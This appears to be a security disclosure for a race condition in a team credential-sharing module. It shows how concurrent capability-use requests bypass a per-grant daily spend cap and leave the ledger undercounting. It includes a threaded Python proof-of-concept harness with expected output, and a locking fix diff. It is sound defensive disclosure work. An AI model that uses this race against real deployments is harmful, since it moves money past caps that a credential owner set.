Per-grant daily spend cap: check and spend aren't serialized, so concurrent capability-uses each cross the cap (CWE-362)

Component: primitives/team_share.py — handle_use_request() / _record_spend() (station v1.3.1).

The defect.
team_share shares a credential with a teammate under a per-grant daily spend cap (caps.max_spend_cents_per_day). handle_use_request enforces it as a check-then-act across unsynchronized steps:

1. _spend_today(ws, grant_id) reads today's total from share_spend.json — a plain read, no reservation.
2. if spent + spend > cap, deny; otherwise the injected executor(...) fires — the real credential/airlock path, the money-mover — outside any lock.
3. on success, _record_spend(ws, grant_id, actual) reads the book, adds, and _jwrites it back (also unlocked), then re-reads and raises cap_exceeded if the day is now over cap.

Because the check takes no reservation and the executor fires before the record, two capability-uses for the same grant that arrive together (with the day still under cap) both read the same stale total, both pass, and both fire the executor. Real spend reaches a multiple of the cap. The cap_exceeded flag added recently makes the ledger honest AFTER the fact — but it is raised only once the executor has already spent for every concurrent request; it surfaces the breach, it does not prevent it.

Step 3 compounds it. _record_spend runs AFTER the executor and OUTSIDE its try/except, so if the write fails — a disk error, or the concurrent writers colliding on the shared share_spend.json.tmp — the money has already moved but the ledger is not updated: spend with no accounting, and no concurrency is even required for that half. The read-add-write is itself unlocked, so concurrent records also lose updates and the ledger under-counts the real spend.

Reproduction (standalone harness).
Drives the real handle_use_request with the station's own signer/manifest; mesh.send_envelope is stubbed to a no-op so the run is offline (the default relay is an external host, irrelevant to the accounting), and executor is the function's own injected seam. A barrier holds both uses inside the executor — past the cap-check, before any record — so the interleave is deterministic; the barrier only supplies the timing window, it does not remove a lock (there is none).

import os, secrets, shutil, threading
os.environ["RAILCALL_RELAY_URL"] = "http://127.0.0.1:1"     # offline
os.environ["RAILCALL_RELAY_AUTO"] = "0"
from primitives import team_manifest as tm, team_share as ts, team_crypto as tcrypt, team_mesh as mesh
import railcall_signing as rs
mesh.send_envelope = lambda *a, **k: {}                     # no network

ws = rs._ws(); os.makedirs(ws, exist_ok=True); rs.ensure_keypair()
for sub in ("team", "grants_out", "grants_in", "mesh"):
    shutil.rmtree(os.path.join(ws, sub), ignore_errors=True)
seed = rs._load_seed(); holder = rs._publickey_from_seed(seed).hex()
member = rs._publickey_from_seed(bytes.fromhex(tm.mint_root()["seed_hex"])).hex()
doc = tm.mint_manifest(tm.mint_root()["seed_hex"], name="t", version=1, members=[
    {"pubkey": holder, "display_name": "h", "roles": ["owner", "operator"]},
    {"pubkey": member, "display_name": "m", "roles": ["worker", "operator"]}])
assert tm.adopt(ws, doc)[0]
member_entry = {"pubkey": member, "display_name": "m"}
CAP, SPEND = 100, 60           # serialized: one 60 fits under 100; a second (120>100) is denied
_n = iter(range(10_000))

def new_grant():
    g = {"kind": "share_grant", "schema": 1, "grant_id": "grt_" + secrets.token_hex(12),
         "team_id": doc["team_id"], "credential_name": "cred", "holder_pubkey": holder,
         "member_pubkey": member,
         "caps": {"verbs_allow": ["*"], "max_spend_cents_per_day": CAP},
         "issued_at": ts._now_iso(), "expires_at": None}
    g["sig"] = rs._sign_raw(ts._canon({k: v for k, v in g.items() if k != "sig"}),
                            seed, bytes.fromhex(holder)).hex()
    ts._jwrite(os.path.join(ts._dirp(ws, "grants_out"), g["grant_id"] + ".json"), g)
    return g["grant_id"]

def envelope(gid):
    payload = {"use_id": "u%d" % next(_n), "verb": "send", "args": {},
               "spend_cents": SPEND, "grant_id": gid}
    return {"from_pubkey": member, "kind": "capability_use_request",
            "envelope_id": "e%d" % next(_n),
            "body_enc": tcrypt.seal(ts._canon(payload), holder).hex()}

# CONTROL: serial enforcement is real — first use allowed, second denied.
gid = new_grant(); sfires = {"n": 0}
def exec_count(**kw):
    sfires["n"] += 1
    return {"ok": True, "result": "x", "receipt_ref": "r"}
r1 = ts.handle_use_request(ws, envelope(gid), member_entry, executor=exec_count)
r2 = ts.handle_use_request(ws, envelope(gid), member_entry, executor=exec_count)
serial_ok = bool(r1.get("ok")) and (not r2.get("ok")) and "cap" in str(r2.get("denied", "")).lower()

# PROBE: hold both uses inside the executor (past the check) at once.
gid = new_grant(); fires = {"n": 0}; gate = threading.Barrier(2); crashed = {"n": 0}
def exec_block(**kw):
    fires["n"] += 1
    gate.wait()                # both uses are now past the check, before any record
    return {"ok": True, "result": "x", "receipt_ref": "r"}
def use():
    try:
        ts.handle_use_request(ws, envelope(gid), member_entry, executor=exec_block)
    except Exception:
        crashed["n"] += 1      # a raise in _record_spend AFTER the executor spent (D3)
t1 = threading.Thread(target=use); t2 = threading.Thread(target=use)
t1.start(); t2.start(); t1.join(); t2.join()
ledger, _, _ = ts._spend_today(ws, gid)
real = fires["n"] * SPEND
print("Serial control (allow one 60 under cap 100, deny the second):", serial_ok)
print("Both concurrent uses passed the cap check and fired the executor:", fires["n"] == 2)
print("Real spend against a %d cap:" % CAP, real, "-> cap crossed:", real > CAP)
print("Ledger recorded:", ledger, "(< real spend: lost update)" if ledger < real else "")
print("A record RAISED after the money moved (D3):", crashed["n"] > 0)

Expected raw output on vulnerable code:

Serial control (allow one 60 under cap 100, deny the second): True
Both concurrent uses passed the cap check and fired the executor: True
Real spend against a 100 cap: 120 -> cap crossed: True
Ledger recorded: 60 (< real spend: lost update)
A record RAISED after the money moved (D3): True

Scope (stated honestly).
Reachable, not hypothetical. handle_use_request is the mesh on_event handler, dispatched by poll_and_ack, which takes no lock and has two concurrent drivers on the ThreadingMixIn server (class _Srv(ThreadingMixIn, TCPServer)): the background AutoPollThread and the manual POST /api/relay/poll route. When those overlap, two distinct capability-use envelopes for the same grant are dispatched at once; the mesh replay guard makes each envelope consume-once but is released before the spend, so the two handle_use_request bodies run concurrently on the same grant. This is a 2-way overlap that needs a granted teammate sending two uses plus overlapping polls — not a trivial remote bypass, and not the re-delivery of a single envelope (that path is correctly closed by the replay guard). Serial use is exact — one 60-cent use fits under a 100-cent cap and a second is denied — so the failure is concurrency-specific. The record-after-spend half (a raise leaving money un-ledgered) needs no concurrency at all. Distinct from the per-command rate-limit report: that is a per-command daily count; this is the per-grant shared spend cap on team credential-sharing, and the effect is real money moved past the cap.

Fix.
Reserve the spend under a per-grant lock BEFORE the executor fires — the shape studio_server already uses for the approval queue (_APPROVE_LOCK) and this release added for the mesh replay (_SEEN_LOCK) and the single-use approval consume (_CONSUME_LOCK). Record the true amount inside the executor's try so a failure can't leave money un-ledgered, and give _jwrite a unique temp name so concurrent writers don't collide.

--- a/workbench/primitives/team_share.py
+++ b/workbench/primitives/team_share.py
@@
+import threading
+_SPEND_LOCK = threading.Lock()
@@ def handle_use_request(ws, env, member, *, executor):
     cap = g["caps"].get("max_spend_cents_per_day")
+    reserved = False
     if cap is not None:
-        spent, _, _ = _spend_today(ws, g["grant_id"])
-        if spent + spend > int(cap):
-            return answer({"ok": False, "denied": ...})
+        with _SPEND_LOCK:                       # check + reserve are one critical section
+            spent, _, _ = _spend_today(ws, g["grant_id"])
+            if spent + spend > int(cap):
+                return answer({"ok": False, "denied": ...})
+            _record_spend(ws, g["grant_id"], spend)   # provisional reservation, BEFORE the executor
+            reserved = True
     try:
         result = executor(credential_name=g["credential_name"], verb=verb,
                           args=payload.get("args") or {}, on_behalf_of=env["from_pubkey"])
     except Exception as e:
+        if reserved:                            # executor never spent — release the reservation
+            with _SPEND_LOCK:
+                _record_spend(ws, g["grant_id"], -spend)
         return answer({"ok": False, "error": f"executor failed: {str(e)[:300]}"})
     if cap is not None and result.get("ok"):
+        with _SPEND_LOCK:                        # reconcile reserved -> executor-reported, atomically
+            actual = max(int(result.get("spent_cents") or spend), 0)
+            _record_spend(ws, g["grant_id"], actual - spend)

Classification: CWE-362 (race). The record-after-spend corollary — a raise in _record_spend after the executor has spent, leaving money un-ledgered — is CWE-703.